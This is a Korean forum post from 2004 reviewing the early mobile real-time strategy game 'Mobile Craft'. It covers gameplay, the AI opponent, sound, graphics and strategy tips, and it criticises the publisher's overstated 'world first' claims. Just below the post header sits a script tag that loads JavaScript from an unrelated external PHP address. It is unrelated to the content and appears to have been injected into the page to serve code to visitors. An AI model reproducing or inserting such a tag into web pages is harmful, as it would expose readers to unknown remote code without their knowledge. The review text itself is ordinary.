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[프리뷰]

모바일 크래프트

글쓴이 : betagam  (211.♡.241.29) 날짜 : 2004-09-16 (목) 18:36 조회 : 20151
<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script> 모바일크래프트

대부분의 인종들이 그렇겠지만 유독 우리나라 사람들은 ‘최고, 최초’에 지나치게 목매는것 같다. 뭐든지 ‘최고, 최초’여야 직성이 풀리지 평범한 것엔 좀처럼 눈길을 돌리지 않는다. 잘못됐다는 얘기는 아니다. 다만.. 지나친 기대감이 도리어 악영향을 끼치진 않을까?하는 우려일 뿐이다.

‘최초의 모바일 RTS(Real Time Simulation) 게임'이 출시되었다. <엔텔리전트>의 ‘모바일 크래프트’가 그것인데, 엔텔리전트는 무엇보다 ‘최초’임을 누누이 강조하고 있다. 과연 <최초의 모바일 RTS 게임>임을 표방한 ‘모바일 크래프트’는 어떤 게임일까? 최초에 목맨 우리들에게 얼마나 희열을 안겨줄지 한번 드려다 보자! (편의상 이후 '모크'라 하자!)



게임명

모바일크래프트

개발사

엔텔리전트

장르

RTS(실시간전략시뮬레이션)

서비스 타입

SK-VM 단독형

용량

270/231kb

다운로드

NATE > GameZone > 전략/육성/RPG > 전략 시뮬/PC > 모바일크래프트

스토리라인

㈜젤리오아시스가 개발하고 엔텔리전트가 퍼블리싱한 실시간 전략시뮬레이션(RTS) ‘모크’는 수백년간 페르난 대륙을 지배해온 휴먼 종족과 소규모 종족의 연합인 투라칸 간의 전쟁을 배경으로 하고 있다. 한편, 각종족 마다 다양한 유닛이 등장하여 게임을 풍성하게 만든다.




(휴먼 유닛)




(투라칸 유닛)

욕봤다!

간결한 인터페이스

‘모크’는 RTS 장르이다. 상식적인 견해로 볼 때 폰으로 어떻게 난해한 조작을 할 수 있을까?하는 생각이 먼저 든다. 하지만 막상 플레이를 하다보면 별다른 무리감을 느끼지 못 한다. 왜냐하면 간단한 키조작으로도 게임을 즐길 수 있도록 만든 쉬운 인터페이스 때문이다. 하지만 아쉬운 점도 있다. ‘공격’외에 손 써볼 수 없는 각각의 캐릭터 조작이다. 앞뒤 안가리고 무조건 진격만 하는 유닛을 볼라치면.. 충성스러운 면도 없지 않지만, 어딘지 한참 모자라 보인다. 그럼에도.. 간결한 인터페이스는 RTS ‘모크’를 한층 돋보이게 한다.



업(up) 된 인공지능

‘일본, 중국, 미국, 유럽에도 없는 세계최초 RTS게임’이라는 엔텔리전트의 광고는 구라뻥임을 만천하가 아는 사실이지만, 그래도 ‘삼국지-천하통일’과 비교할 때 많이 업(up) 되었음엔 분명하다. 특히 인공지능이 그러하다. 생각없이 유닛을 만들다간 큰코다친다. 왜냐하면 인공지능이 생산된 유닛에 상응하는 유닛만을 배출(?)하기 때문이다. 그러다 보니 앗차! 하는 순간 성이 함락된다.



래더모드

성을 5개 이상 차지하면 <래더모드>가 활성화 되며 <투라칸 종족>으로 플레이를 할 수 있다. 이로서 <스토리모드>와는 또 다른 재미를 느낄 수 있다. 이는 게임 몰입도 상승에 한몫 하는 것이다.

사운드

‘독일유학파, 피아니스트 아무개 귀국 초빙 연주회’. 큰맘 먹고 표사서 공연장 갔더니.. 그럴리 없겠지만, 이제막 체르니 띤 수준이라면...


뭔 얘기냐고?

<세계최초의 RTS>니 <스타크래프트의 모바일 구현>이라느니 한참 떠들어 대서 큰맘 먹고 다운 받아 한참 기대하고 있었는데, ‘틱틱, 택택, 챙챙, 와~아!’ 이것뿐이니.. 타이틀, 인트로, 엔딩 사운드가 있긴 하지만 단순한 모티브의 반복일 뿐.. 그 흔한 배경음악 하나 찾아보기 힘들다.


그래픽

시원~시원하게 묘사된 큼지막한 캐릭터와 몇가지 배경화면.. PC화면에 비할 수 없을 만큼 작은 폰 화면임에도 불구하고 표현할건 나름대로 다 처리된 간결한 화면.. 이정도면 중상급은 되어 보인다. 매지션의 마법효과도 볼 만하다.




Tip 1. 잘만 사용하면 돈 되는 발석기

게이지를 맞추어 사용하는 <발석기>는 전쟁승패의 중요한 역할을 한다. 단순히 원거리적의 적을 제압하는 것뿐만 아니라 공성, 수성에 최대 변수로 작용한다. 물론 게이지에 맞추어야 하기 때문에 초기엔 컨트롤하기 어렵지만 조금만 신경 쓴다면 쉽게 적응할 수 있다.

아울러 발석기로 적 유닛을 때려잡았을 땐 자원이 올라간다. 적도 죽이고 돈(자원)도 얻으니 일석이조 아닌가?!



Tip 2. 10억 만들기

‘미스김 10억 만들기’ 이후 dog나 cow나 돈 좀 만들자고 혈안이라는데.. 모크의 엔딩을 보고자 한다면 역시 돈(자원)을 모아야 한다. 물론 자원관리를 하지 않아도 성 3~4개 정도는 먹을 수 있다. 하지만 엔딩보기와는 거리가 멀다.

부시의 <이라크 </SPAN>침공>에서도 볼 수 있듯이 전쟁을 위해 자원은 필수불가결한 요소이다. 따라서 자원관리는 초반부터 착실히 해 두어야 한다. 후반으로 갈수록 양상이 짙어지기 때문이다.



Tip 3. 문제는 줄(Line)이다

흔히 군대는 줄을 잘 서야 한다고 한다. 어느 줄에 서 있느냐에 따라 상황이 급격히 달라지는 곳이 군대의 속성(?)이기 때문이다.

모크의 유닛들은 돌격 앞으로 밖에 아는 것이 없다. 이런 단순 무식한 행동밖에 할 줄 모르는 상황에 무슨 전략이 있겠는가?하겠지만.. 오히려 단순 무식하기에 전략이 더욱 필요한 것이다. 유닛들의 공격범위는 <원거리와 근접>으로 나뉘어 진다. 예를 들어 원거리 공격에 강한 스모커나 드레곤 플라이로 적이 밀고 오는데, 근접공격용 풋솔져를 한 줄로 계속 보낸다 한들.. 맞짱뜨기도 전에 다 뒈진다. 사용자에 따라 여러 패턴이 있겠지만 일반적으로 한 줄에 원/근을 교차적으로 배열하는 편이 좋다. 업그레이드시키는 것도 잊어서는 안 된다. 어찌 되었든 역시 전쟁은 줄(Line)이다.



Tip 4. 건물관리 신경써라

성은 돈을 모으는 중요한 요소이다. 어떤 성이냐에 따라 걷어 드릴 수 있는 세금양이 다르기 때문이다. 하지만 성을 지을 때 걸리는 턴 역시 다르기 때문에 무턱대고 업그레이드만 해서도 안 된다. 건물도 사정은 마찬가지다. 한 턴이 지날 때 마다 건물 유지비(?)가 지급되기 때문에 마구잡이 투자는 곤란하다. 따라서 적은 슬롯수을 감안하여 유닛 생산에 중점을 둘 것인지 테크에 중점을 둘 것인지 신중히 고려해 봐야한다.




욕받다!

도(度)가 넘은 간결함

서두에서 언급했지만 ‘모크’의 특징 혹은 장점 중에 하나는 ‘간결함’ 이다. 하지만 도(度)가 넘은 간결함이 몇가지 있다.

첫째, 사운드를 지나치게 간결하게 만들어 놨다. 배경음악도 없는데 거기다 부실한 효과음이라니.. 차라리 처음부터 매너모드로 게임하라고 하지.

둘째, 말은 라면서 전략적인 요소가 택없이 부족하다. 유닛의 경우 생산 할수는 있지만 조절할 수가 없다. '후퇴'는 고사하고 '정지'도 못시키는 유닛이라니.. 일단 돌진하면 죽기살기로 달려들고, 쌈질도 정면에서 오는 놈하고만 할 수 있다. (그런데 궁병은 왜 덩달아 돌진하는 거야! 사정거리가 너무 짧은가???)

셋째, 부족한 세이브 슬롯이다. 평이한 난이도가 아님에도 불구하고 세이브 슬롯이 하나라니.. 너~엄 간결하다. 뿐만아니라 건물 슬롯도 부족하긴 마찬가지다.


긴(long) 로딩

단촐한 세이브와는 상대적으로 로딩이 길다. 물론 게임에 필요한 팁의 정보를 제공하기는 하지만.. 그래도..어찌되었든..하여간.. 길긴 길다. 쫌 줄이고 세이브나 늘리지...




1969년 7월 20일 오후 1시 17분 40초(미국시간). 인류 최초로 닐 암스트롱(Neil A. Armstrong)이 달에 발을 디뎠다. 1993년 2월 25일 박정희, 전두환, 노태우 등 군 출신 대통령들이 통치하던 시절을 끝내고 최초로 김영삼이 문민정부를 시작하였다. 이후, 닐 암스트롱은 영웅이 되었고, 김영삼은 자신뿐만 아니라 아들까지 욕을 먹고 있다.

‘최초’라 해서 우리의 기대를 다 충족해 주는 것은 아니다. 길이 남을 최초가 있는가 하면 길이 남되 욕먹으면서 질기게 남는 것도 있다. 그렇다면 ‘최초’임을 연발했던 엔텔리전트의 모크는 어디에 속할까? 왜 많은 유저들이 모크를 평가함에 있어 게임과 상관없이 단점으로 제작사의 <구라뻥>을 지적하는 것인가? 게임 제작사들은 알아야 한다. 게임 제작을 위한 ‘뻥치기’는 유저들이 원하는 바이지만 게임 홍보를 위한 지나친 <구라뻥>은 유저들을 우롱하는 처사라는 것을... 나름대로 좋은 평을 받을 수도 있었던 모크를 추락시킨 건 유저들의 불만감이 아니라 유저들의 기대감을 악용한 제작사의 책임이다.




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